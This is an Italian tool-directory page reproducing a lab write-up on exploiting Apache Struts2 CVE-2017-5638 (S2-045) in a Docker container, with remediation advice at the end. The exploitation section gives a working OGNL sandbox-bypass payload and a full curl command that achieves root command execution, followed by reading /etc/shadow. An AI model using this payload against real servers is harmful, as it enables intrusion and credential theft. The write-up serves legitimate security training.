Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2017-5638 | Kitploit
Strumenti/GitHubGitHub/dungsocool/cve-2017-5638
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubdungsocool/cve-2017-5638

CVE-2017-5638

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

LAB 1 — Iniezione OGNL in Apache Struts2 (CVE-2017-5638 / S2-045)

I. ANALISI DEL SISTEMA

Analisi della Superficie di Attacco

image.png

Dopo aver avviato il container, i log di Struts2 mostrano che l'applicazione carica file di configurazione noti come struts-default.xml, struts-plugin.xml e struts.xml. Ciò conferma che il framework in uso è Apache Struts2.

image.png

Un punto notevole si trova nella riga:

Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)

Questa riga indica che Struts2 sta scegliendo il Jakarta multipart parser (analizzatore dei dati di upload multipart) per gestire le richieste di tipo multipart/form-data, che si incontra comunemente nelle funzionalità di upload di file.

Questo è un segnale cruciale nell'analisi di S2-045 / CVE-2017-5638, poiché questa vulnerabilità è legata al processo con cui Struts2 gestisce gli errori durante il parsing delle richieste multipart, in particolare con un header Content-Type non valido.

Tuttavia, questo log dimostra solo che l'applicazione usa Struts2 e un gestore multipart in stile Jakarta. Non è ancora sufficiente per concludere che l'applicazione sia sicuramente vulnerabile. Per confermarlo, dobbiamo determinare la versione di struts2-core e confrontarla con l'intervallo di versioni interessate.

image.png

image.png

image.png

Quando si accede al servizio web usando curl, gli header della risposta mostrano che l'applicazione è in esecuzione su Jetty 9.2.11.v20150529. Questa informazione aiuta a identificare l'ambiente che esegue l'applicazione (servlet container), ma non rivela direttamente la versione di Struts2.

L'interfaccia web restituisce la pagina Struts2 Showcase - Fileupload sample, con un modulo di upload che usa:

root@kitploit:~
method="POST"
enctype="multipart/form-data"
action="/upload.action"

Questo corrisponde al log precedente in cui Struts2 ha scelto jakarta per MultiPartRequest: l'applicazione ha effettivamente un flusso di gestione dell'upload di file tramite multipart/form-data.

⇒ Ragionamento: L'endpoint /upload.action usa multipart/form-data, corrispondente al meccanismo che Struts2 elabora tramite Jakarta MultiPartRequest. Questo è un segnale che rafforza il sospetto di S2-045/CVE-2017-5638, ma dobbiamo determinare la versione di Struts2 prima di concludere che l'applicazione sia vulnerabile. Successivamente, è ancora necessaria una verifica più approfondita riguardo alla versione di struts2-core e a come l'applicazione gestisce gli errori quando riceve un Content-Type non valido.

Determinazione della versione di Struts2

Dopo aver identificato che l'applicazione ha un endpoint di upload che usa multipart/form-data, il passo successivo dell'analisi è trovare la versione effettiva di Struts2. Questo è cruciale perché i segnali precedenti hanno solo mostrato che l'applicazione ha un meccanismo legato all'upload multipart, il che non è ancora sufficiente per concludere che sia vulnerabile.

image.png

Dopo aver identificato il container corretto che serve l'Endpoint 8001, il controllo delle librerie viene eseguito direttamente all'interno del container project1-lab01-1.

Il risultato ha individuato il file struts2-core:

/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar

Da questo percorso possiamo determinare che l'applicazione usa Apache Struts2 2.3.30.

image.png

Confrontando questo con la vulnerabilità pubblicata CVE-2017-5638 / S2-045, essa colpisce molte versioni precedenti di Struts2, incluso il ramo 2.3.x antecedente alla patch. Se combinato con:

root@kitploit:~
Framework: Apache Struts2
Version: 2.3.30
Multipart parser: Jakarta
Endpoint: /upload.action
Content-Type: multipart/form-data

La catena di condizioni dell'analisi diventa più chiara:

root@kitploit:~
Struts2 Version 2.3.30 < Version 2.3.32 
 + Jakarta multipart parser + upload endpoint
→ The application is within the strong suspicion range of S2-045/CVE-2017-5638

Tuttavia, dal punto di vista dell'analisi, una versione vulnerabile è solo la prova del potenziale di essere interessati. Per confermare a livello comportamentale, dobbiamo inviare una richiesta multipart anomala e osservare la risposta/i log per vedere se entra nel ramo di gestione degli errori del parser multipart di Struts2.

⇒ Ragionamento: A questo punto non si tratta più solo di identificare il framework; la versione 2.3.30 conferma che l'applicazione rientra nell'intervallo di versioni interessate da S2-045/CVE-2017-5638. Il passo rimanente è verificare il comportamento di gestione degli errori multipart per completare la catena di prove.

Verifica del flusso di elaborazione multipart valido

image.png

Dobbiamo verificare se le richieste inviate a /upload.action passano realmente attraverso il meccanismo di elaborazione multipart di Struts2. Qui uso il comando curl con l'opzione -F per testare il meccanismo di gestione. E il risultato restituito è scomposto in parti:

root@kitploit:~
<li>ContentType: text/plain</li>
<li>FileName: test.txt</li>
<li>File: /usr/src/target/tmp/upload_...</li>
<li>Caption:test</li>

⇒ Una richiesta valida dimostra che /upload.action passa effettivamente attraverso il meccanismo di upload multipart perché curl -F genera multipart/form-data e il server può analizzare ogni parte della richiesta.

Verifica della reazione quando la richiesta multipart fallisce

image.png

image.png

Dopo aver inviato una richiesta che dichiara Content-Type come multipart/form-data ma con un corpo che non è conforme alla struttura multipart, il server restituisce comunque HTTP 200 OK. Tuttavia, i campi ContentType, FileName, File e Caption sono tutti vuoti. Controllando i log di Docker, notiamo che non c'è boundary (stringa separatrice tra le parti nel multipart), e il client riceve comunque HTTP 200 OK. Tuttavia, Struts2 in realtà ha riscontrato un errore durante l'elaborazione della richiesta.

Questo prova la catena di prove:

root@kitploit:~
Faulty multipart request
→ Struts2 wraps request
→ MultiPartRequestWrapper is called
→ JakartaMultiPartRequest parses request
→ FileUploadException due to missing boundary

⇒ Corrisponde ai componenti correlati a S2-045/CVE-2017-5638. Pertanto, la catena di condizioni è più completa: versione vulnerabile, parser Jakarta, endpoint di upload e richiesta difettosa entrano nel ramo corretto di elaborazione multipart.

Il punto critico di S2-045/CVE-2017-5638 non risiede solo nel fallimento del multipart parser. L'errore del parser è soltanto la condizione di innesco iniziale. La parte pericolosa sta nel modo in cui Struts2 gestisce successivamente il messaggio di errore. Nelle versioni di Struts2 vulnerabili, quando il multipart parser incontra un errore, il contenuto dell'errore può essere inserito nel meccanismo di gestione dei messaggi di Struts2. Se un attaccante controlla parte dei dati che compaiono nell'errore, in particolare dall'header Content-Type, quei dati possono essere valutati da Struts2 tramite OGNL (Object-Graph Navigation Language - il linguaggio di espressione di Struts/XWork).

Ragionamento:

root@kitploit:~
Anomalous Content-Type
→ Jakarta multipart parser parsing error
→ Struts2 generates/logs error message
→ error message goes through expression evaluation mechanism
→ if malicious OGNL is present, it can lead to RCE

II. SFRUTTAMENTO

Avendo identificato che il target usa Struts2, e poiché Struts2 usa OGNL come motore di espressioni, la ricerca su PayloadsAllTheThings mostra che iniettare new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) in Struts2 fallirà perché Struts2 ha una sandbox che blocca l'accesso a java.lang.Runtime.

image.png

⇒ Assembla il payload trovato nella struttura di sfruttamento di Struts2:

Attivazione del Parser Jakarta

root@kitploit:~
(#_="multipart/form-data")

Bypass della Sandbox di Struts2 (Richiesto)

root@kitploit:~
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))

Payload di Esecuzione Comandi

root@kitploit:~
(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))

Tuttavia, eseguendo il payload nella pratica, ci imbattiamo in due problemi:

  1. Errore di versione Java: Il server del laboratorio esegue Jetty 2015 (Java 8), mentre la funzione readAllBytes() è supportata solo a partire da Java 9. Se insistiamo nell'usarla, OGNL fallirà silenziosamente e restituirà una pagina HTML vuota. Questo viene risolto passando all'uso della classe IOUtils della libreria org.apache.commons.io (sempre disponibile in Struts2) per leggere il flusso.

  2. Filtraggio dell'output: Anche se il comando è stato eseguito, incorporare il risultato direttamente nel flusso HTML può rompere la struttura o essere filtrato. Questo viene risolto accedendo direttamente a HttpServletResponse, usando getWriter().println() per stampare prima l'output, quindi chiamando flush() e close() per terminare immediatamente la connessione. Questo costringe il server a restituire il risultato pulito dell'esecuzione del comando, bypassando tutta la spazzatura dell'interfaccia HTML.

⇒ Riassemblando le modifiche sopra, otteniamo il comando curl completo (usando ProcessBuilder + IOUtils + Response Writer):

root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"

image.png

Sfruttamento riuscito!!!

Sebbene abbiamo ottenuto RCE con privilegi di root, ogni comando deve essere inviato tramite una richiesta HTTP separata, fornendo un ambiente non interattivo. Una Reverse Shell consente di stabilire una sessione persistente, interagendo direttamente con il sistema target come se si fosse davanti alla macchina, agevolando la raccolta di informazioni e una post-exploitation più approfondita.


III. POST-SFRUTTAMENTO

Verifica dei privilegi

Dopo uno sfruttamento riuscito, verifica i privilegi sul sistema:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

→ L'applicazione viene eseguita con privilegi root — non è necessaria alcuna escalation dei privilegi.

Raccolta di dati sensibili

Leggi il file /etc/shadow (il file contenente gli hash delle password, a cui solo root ha il permesso di accedere):

image.png

→ Dimostra che l'attaccante ha pieno accesso in lettura/scrittura ai file di sistema, inclusi quelli più sensibili.

Nota sulla Reverse Shell

La creazione della reverse shell non è riuscita perché il container Docker su Windows usa una rete interna (bridge/NAT); il container non può connettersi di nuovo alla macchina dell'attaccante (Kali) sulla LAN locale. Tuttavia, ciò non influisce sulla gravità della vulnerabilità — l'attaccante ha ottenuto RCE con privilegi di root e può eseguire qualsiasi comando sul sistema.


IV. VALUTAZIONE DEL RISCHIO E RIMEDI

Valutazione del Rischio

La vulnerabilità OGNL Injection (CVE-2017-5638 / S2-045) su questo sistema è valutata al massimo livello di rischio:

Raccomandazioni per i Rimedi

Per risolvere completamente questa vulnerabilità, i team di amministrazione di sistema e sviluppo dovrebbero implementare le seguenti misure (in ordine di priorità):

Priorità urgenti (breve termine):

  1. Aggiornare Apache Struts2: Aggiornare immediatamente il framework a una versione sicura (≥ 2.3.32 o ≥ 2.5.10.1). Questa è una misura obbligatoria poiché la vulnerabilità risiede nell'implementazione core della libreria JakartaMultiPartRequest.

  2. Ridurre i privilegi di esecuzione: Non eseguire mai applicazioni web (Jetty/Tomcat) con l'utente root. Dovrebbe essere creato un utente dedicato (ad es., struts_user) con i privilegi minimi necessari per eseguire l'applicazione.

Priorità alte (lungo termine e difesa in profondità):

  1. Distribuire un WAF (Web Application Firewall): Configurare le regole del WAF per rilevare e bloccare le richieste HTTP contenenti payload OGNL (ad es., %{...}, ${...}, ognl, java.lang.ProcessBuilder) nell'header Content-Type.

  2. Cambiare il parser multipart: Se l'applicazione non è obbligata a usare il parser di Jakarta, valutare il passaggio a una libreria alternativa come Pell o COS nel file di configurazione struts.xml (struts.multipart.parser=cos).

  3. Limitare il networking del container: Non mantenere il container su una rete bridge condivisa se non necessario. Configurare le regole del firewall per impedire al container di avviare attivamente connessioni in uscita (traffico outbound) verso Internet, al fine di prevenire reverse shell.

Scarica lo strumento
CriterioValutazioneDettagli
Punteggio CVSS10.0 (Critical)Punteggio massimo assoluto.
AutenticazioneNon richiestaL'attaccante non ha bisogno di un account o di essere autenticato per sfruttare questa vulnerabilità.
ComplessitàMolto bassaRichiede solo l'invio di una singola richiesta HTTP (POST) contenente il payload nell'header Content-Type.
Privilegi ottenutirootControllo completo sull'applicazione/container al massimo livello di privilegio, con la capacità di leggere/scrivere qualsiasi file (come /etc/shadow).
Movimento lateraleAltoDal container compromesso, l'attaccante può scandagliare la rete interna (LAN) e attaccare altri container o server host.